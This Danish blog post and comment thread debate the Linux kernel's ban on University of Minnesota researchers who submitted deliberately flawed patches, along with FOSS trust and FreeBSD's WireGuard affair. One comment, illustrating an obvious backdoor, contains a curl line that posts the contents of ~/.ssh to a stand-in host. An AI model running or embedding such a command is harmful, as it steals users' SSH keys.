Ny Religiøs Fanatisme

UNIX stamtræ

Som andre trends i OS-historien, når FOSS-bevægelsen nok også på et tidspunkt sit klimaks. Derfra bliver accellerationen kun mindre - og man kan have svært ved at erkende nogen fortsat udvikling i "sagen".

Når "tilliden" er væk, hvad er der så tilbage? Det går vel som i andre fortællinger om "Babelstårnet"? Forskellighederne vokser og efterhånden glemmes det fælles ophav. Kun "turen" står tilbage - og den kan der altid skrives nye "heltekvad" om.

Dette kvad handler om: når drengebander bliver "pigefornærmede" (hvad betyder ordet?).

Det er på tide at drømme nyt, men det bliver næppe her nye drømme opstår. Jeg prøvede for måneder siden, men endte med at måtte erkende, at "departementet for undertrykkelse af viden" åbenbart har en anden agenda (som jeg hvenken kender eller forstår).

Men så kom der nyt fra MIT, Massachusetts (MA) ...

Pt. har en eller anden pigefornærmet kernel-maintainer forbudt hele det pågældende universitet at sende patches til Linux kernen.</p>
<p>Universitetet har reageret præcis lige så hovedløst og uigennemtænkt som organisationer altid gør når de bliver involveret i en shitstorm: De har med det samme kastet forskerne under bussen.

Det er lidt af et person angreb der Poul-Henning. Hvis et system er baseret på tillid, må man trække tilliden tilbage hvis den part der har fået tilliden bryder sig imod den. Det kan jo ikke være anderledes. Personligt tror jeg at man vil lave nogle tiltag så man kan styre tilliden mere fin delt.

Og det gælder desværre også stort set hele den danske IT-branche.

Linux er tydeligvis en religiøs bevægelse, med de fejl den slags har.

Og det gælder desværre også stort set hele den danske IT-branche.

Jeg undskylder til de af læserne, der ikke omfattes af denne grove forenkling - jeg ved I findes ;-)

De formastelige skal straffes og hele deres universitet med dem!

Jeg synes stadig de reagerer som et hvert andet præsteskab gør når deres ære bliver krænket og jeg ser intet der tyder på at præsteskabet ser nogen grund til introspektion eller selvransagelse: De formastelige skal straffes og hele deres universitet med dem!

Linux Foundation Technical Advisory Board har sendt brev til UMN:

https://lkml.org/lkml/2021/4/25/146

Bemærk sammensætningen af gruppen:

https://www.linuxfoundation.org/en/about/technical-advisory-board/

og især hvem der ikke fremgår af listen.

Det er nemt i ALLE typer software at snige fejl ind. Uanset om det er FOSS eller kommercielt eller selveste Linux-kernen: Hvis man som forfatter af en patch påstår, at det virker efter hensigten.

Selv med automatisk test og QA når vi ikke til et punkt, hvor ny og u-afprøvet kodes uforudsigelige effekter detekteres 100%.

Det er ikke et bevis for, at man kan snige bagdøre ind. Der er ret stor forskel på

# This is a comment and very long blah blah blah blah
# blah blah blah blah blah blah blah blah blah blah
$(curl -X POST --data-binary @- <a href="https://blahblah.io">https://blahblah.io</a> < <code>cat ~.ssh/*</code> )
# blah blah blah blah blah blah blah blah blah blah

Og så et stykke kode med en fejl i et namespace. Det er svært at opdage, fordi variablen ved en fejl incrementeres to steder, men der aldrig opstår en exception.

var i;
function blah() {
   // Do stuff...
   i++;
}
for (i=0; i<no_objects; i++) {
  blah()
}

Vores blikke ville undre sig over sikkerhedshullet i første eksempel og til gengæld er vores hjerner nok for dovne til at overveje, at i anvendes i det globale scope.

https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf

It is often claimed that open-source is fundamentally better than closed source. In either case, "eternal vigilance" is necessary. IMO any system that aims to be secure need constant expert attempts to break in by non-malicious people.

Obligatorisk XKCD link:https://xkcd.com/2347/

... kan man heller ikke fikse samme.

Problemet er grundlæggende hvilke forventninger man kan have til andre aktører. Hvis jeg går i el-giganten og køber en vaskemaskine, så har jeg både legale forventninger til hvordan sælger/butik agerer samt hvordan producenten agerer. I et miljø hvor jeg betaler for en service eller et produkt, så har jeg berettigede forventninger til modparten.

Det hele bliver mere mudret i en situation hvor jeg ikke betaler. For hvad kan jeg forvente af den lokale fodboldklub og knægtens minitputhold? Den slags fungerer fint i normalsituationen, men hvad når det går galt? Fx. hvem sørger for at der bliver ryddet op når der har været indbrud?

Og når processerne bliver komplekse, så sker det nemt at A regner med at B tjekker om X er i orden og B regner med at A gør det. Den slags virker ikke altid selv når det er folks betalte arbejde det handler om ... når det handler om frivilligt arbejde er det endnu sværere.

Jeg er naturligvis klar over at Linux kernel developers er i en gråzone, men det ændrer ikke ved det overordnede problem omkring software og specielt FOSS. Hvilke forventninger kan man have til dem der udgiver software og er det godt nok til at køre sin butik på samme? Er der noget vi kunne gøre for at ondsindede fejl fanges bedre uden at udviklingsprocessen kører fast?

Linux er måske et af de mindre problemer. Hvad med de tusinder af software pakker som udviklere downloader hver eneste dag uden at forstå hvem der har lavet det, hvilke tjeks der er af pakkerne, etc. Software pakker som kun har en håndfuld maintainers og hvor ganske få kloden rundt nogensinde kigger indgående på koden.

Forresten:

Hvis vi skal yde den valgte overskrift "FreeBSD 13's close call" retfærdighed, burde vi tale om den OpenSSL vulnerability der mindre end en uge inden 13's release-day blev varslet til to dage efter. Det var en meget tættere barbering end wireguard nogensinde kom i nærheden af :-)

Da jeg læste dit indlæg kom jeg bare til at tænke på ”Det bedste forsvar er et angreb”, og jeg undrede mig over at jeg ikke kan finde nogen stedet hvor du giver din udlægning af Wireguard sagen

Jeg har ikke selv været involveret i Wireguard sagen og har derfor ikke rigtig noget at tilføje til hvad andre fra projektet allerede har fremlagt og som sagt, er min klare opfattelse at processen virkede som vi forventede.

Derfor ikke ligefrem en "Man bites dog" historie set herfra ?

Du er med på at Linus ikke har udtalt sig?

Ja, jeg venter med spænding på at se om han opfører sig som pave, og beskytter sin præstestand, eller som naturvidenskabsmand og beskytter retten til at forske.

Mit gæt er det sidste.

Ars' udlægning er mildest talt sensationalistisk

Jeg er helt enig i at det 100% legitimt at forske i om FOSS miljøers kvalitetssikring virker som det påstås. Du skriver jo også at Netgate sagen har givet grund til at FreeBSD overvejer om der er noget der bør gøres anderledes fremover.

Da jeg læste dit indlæg kom jeg bare til at tænke på ”Det bedste forsvar er et angreb”, og jeg undrede mig over at jeg ikke kan finde nogen stedet hvor du giver din udlægning af Wireguard sagen

Mit indtryk er at FreeBSD havde svært ved at anerkende problemet, og det finder jeg langt mere alvorligt.

Ars' udlægning er mildest talt sensationalistisk og det gør ingenting bedre at den antager existensen af en beslutningsproces og magtstruktur som FreeBSD simpelthen ikke har.

For et projekt som Linux, er svaret på "er problemet anerkendt?" simpelthen om Linus har fattet det eller ej, case closed, det kan enhver journalist finde ud af.

For et demokratisk-anarkistisk projekt som FreeBSD, hvor vi har en demokratisk valgt bestyrelse men ingen præsident, vil det samme spørgsmål ikke have et klart ja/nej svar, med mindre du taler med de rigtige ansvarshavende.

De relevante centrale udviklere var helt opmærksomme på problemet meget tidligt, mens andre funktioner i projektet f.eks ports/docs/cluster endnu ikke var berørt og derfor ikke interesserede sig overhovedet.

Specifikt havde core/bestyrelsen ikke brug for, eller grund til at at blande sig, så længe ting og procedurer virkede som de skulle og sagen ikke var eskaleret til dem.

Men hvis du kigger på det igennem en linse, hvor du forventer klart defineret pyramidestruktur kun en enkelt almægtig person i toppen, er det nemt at nå til den konklusion at ingen aner hvad der foregår.

Men som sagt, selvom ting virkede som de skulle, har det givet projektet grund til at overveje om der er noget vi bør gøre anderledes fremover.

Jeg mener ikke at Netgate handlede ansvarligt, men det er et privat firma der skal tjene penge og deres bidrag kan vurderes derefter.

Mit indtryk er at FreeBSD havde svært ved at anerkende problemet, og det finder jeg langt mere alvorligt.

https://arstechnica.com/gadgets/2021/03/buffer-overruns-license-violations-and-bad-code-freebsd-13s-close-call/

Så vi ikke en ret chokerende indstilling i forbindelse med Netgate/Wireguard skandalen?

Nej, egentlig ikke.

Processen i FreeBSD er meget anderledes end den er i Linux og selvom der fløj nogle gnister fra forskellige kantede personligheder, virkede processen som den skulle.

Om det så stadig er den rigtige process har der været en del kommunikation om efterfølgende.

Det vil jeg også gerne vide.

Så vi ikke en ret chokerende indstilling i forbindelse med Netgate/Wireguard skandalen?

Jeg kan godt forstå, at Greg er irriteret over at skulle bruge tid på at reviewe ondsindede commits - og at skulle rydde op efter dem, der er kommet ind.

Bare for at slå det fast: Der blev aldrig - iflg forskerne selv - lavet et pull request med den fejlagtige (ondsindede?) kode. De sendte "differne" på mail til maintainerne, og hvis en maintainer godkendte forslaget, så kontaktede de maintaineren for at sikre, at han/hun ikke gik videre med den fejlagtige kode, og samtidigt så sendte de et pull request som ikke var manipuleret til at være ondsindet fejlramt.

Og nej, forskerne kan ikke bare reverte deres ondsindede commits - det er jo også interessant at se, hvor længe de forbliver uopdagede.

Der er ikke noget at reverte. Ingen af de sendte pull requests indehold ondsindede commits. De ondsindede rettelser blev alene beskrevet i mails.

Hvis man opdager at en pen-test slipper igennem, og man er <em>good guy</em>, så opretter man vel en sag i cve.mitre.org og kører den vej igennem?

Hvordan vil du lave en CVE på at du har lavet social engineering?

Hvis man læser deres paper (og som jeg også havde hørt det refereret), så virker det ganske forsvarligt udført - og som et relevant eksperiment.

Der er ikke tale om commits direkte til kernel-rep, men derimod forslag til patches, der blev sendt til en mailing-liste. Hvis forslagene blev accepteret, så blev der taget kontakt til maintainerne om fejlene, og den korrekte fejlrettelse blev indsendt.

Den korrekte reaktion ville være at se på, om man kunne beskytte patch-processen mod denne type angreb (hvor en række små og hver for sig tilsyneladende uskyldige fejlrettelser kædes sammen til at skabe et sikkerhedshul). Hvis nogle forskere på et universitet kan gøre det, hvem kan så ellers?

Men man har selvfølgelig ramt de pågældende maintainers et sted, hvor det gør ondt på deres profesionnel ego. I forhold til, hvad man ellers lader sikkerhedsfolk slippe af sted med ved pentest (f.eks. phishing-tests med emner, der vedrører folks personlige sikkerhed, økonomi eller sundhed), så er det umiddelbart i den milde ende. Burde man have sikret sig, at forsøgspersonerne var indforstået med forsøget. Ja, det burde man nok.

På den anden side vil ethvert FOSS-projekt segne, hvis alle og enhver beslutter sig for at spamme med defekte commits.

Kunne læse og forstå de enkelte ord i artiklen. Men sammenhængen har jeg ikke forstået. Den er kun for de indvidede. Mvh.

Hvis man opdager at en pen-test slipper igennem, og man er good guy, så opretter man vel en sag i cve.mitre.org og kører den vej igennem?

Undersøgelsen illustrer tydeligt, at der er et problem. Og nej, forskerne kan ikke bare reverte deres ondsindede commits - det er jo også interessant at se, hvor længe de forbliver uopdagede.

Iflg forskernes egen artikel kan de:

https://github.com/QiushiWu/QiushiWu.github.io/blob/main/papers/OpenSourceInsecurity.pdf

Er dette den rette "emma-gad" måde at omtale andre på

På den ene side mener jeg absolut, at det er relevant at pen-teste FOSS.

På den anden side vil ethvert FOSS-projekt segne, hvis alle og enhver beslutter sig for at spamme med defekte commits.

Jeg kan godt forstå, at Greg er irriteret over at skulle bruge tid på at reviewe ondsindede commits - og at skulle rydde op efter dem, der er kommet ind.

Men han overreagerer tydeligvis.

Undersøgelsen illustrer tydeligt, at der er et problem. Og nej, forskerne kan ikke bare reverte deres ondsindede commits - det er jo også interessant at se, hvor længe de forbliver uopdagede.

Det ville være godt, hvis man kunne opfinde en ansvarlig måde at teste injektion i FOSS uden at drukne vedligeholderne.

Mit problemer at jeg kunne erstatte "FOSS" i dit indlæg med navnet på enhver veletableret religion uden at det forandrede meningen synderligt.

Eller sammenligne med, hvis det var sket for "Closed Source Product", hvordan reaktionen så ville være.

Jeg tænker reaktionen er ganske naturlig.

Hvis du med "naturlig" mener "menneskelig", så ja, et er meget menneskeligt at blive fornærmet når ens selvopfattelse bliver klædt af mod ens vilje.

Mit problemer at jeg kunne erstatte "FOSS" i dit indlæg med navnet på enhver veletableret religion uden at det forandrede meningen synderligt.

Hvordan vi i FOSS opfatter os selv bør kontinuert kalibreres efter den rolle vi spiller i civilizationen, at vi engang har været et "broderkskab" betyder ikke at vi for evigt kan opføre os som et sådant.

Hvordan ville det være håndteret i FreeBSD?

Det vil jeg også gerne vide.

Mere voksent og mindre religiøst, håber jeg.

Der var noget med et dansk medie og noget vandalisme mod Wikipedia engang. Man kan sagtens lave forskning (eller undersøgende journalistik, for that matter) uden at ødelægge det for andre - og pentesting (ikke at jeg mener begrebet er relevant her, med mindre det får elastik grænsende til det meningsløse) er normalt med samtykke.

Jeg tænker reaktionen er ganske naturlig.

FOSS har (i min optik) sine rødder i et meritokratisk miljø som er meget selvregulerende.

Dertil kommer at en af grundstene i udviklingsmodellen er, at alle kan læse koden og råbe vagt i gevær hvis noget er galt. Dette er blevet en sovepude for det kritiske review der bør gå forud for accept af patches.

At et hold forskere på denne måde peger fingre og siger at kejseren jo ikke har tøj på, er et hårdt angreb på udviklingsmodellen, fordi den umiddelbare løsning er at indføre et mere robust og tidskrævende review.

Jeg ved det ikke, men lige netop dette FOSS projekt har gode muligheder for at have ansatte mainatiners, men de fleste andre FOSS-projekter hviler på passion og frivillighed.

Det der vist fik Greg K-H til at se rødt var at de

1. gjorde det flere gange over længere tid uden at fortælle nogen om det
2. ikke revertede deres sikkerhedshullede patches

Jeg er enig i at det er fair nok at teste om en sikkerhedsfunktion virker (det gør jeg dagligt). Men når man har konstateret at der er et problem så må man gøre opmærksom på det, og gøre skaden god igen. Det er standard "responsible disclosure" i min verden.

Hvordan ville det være håndteret i FreeBSD? Spørgsmålet er oprigtigt ment og uden bagtanker - hvis vi kan lære noget af hinanden i FOSS, så bør vi da gøre det.

anden pigefornærmet kernel-maintainer

Er dette den rette "emma-gad" måde at omtale andre på.

Mon denne artikel er et forsøg på at undersøge hvor let man kan snige sexistisk sprog ind i version2's spalter? :p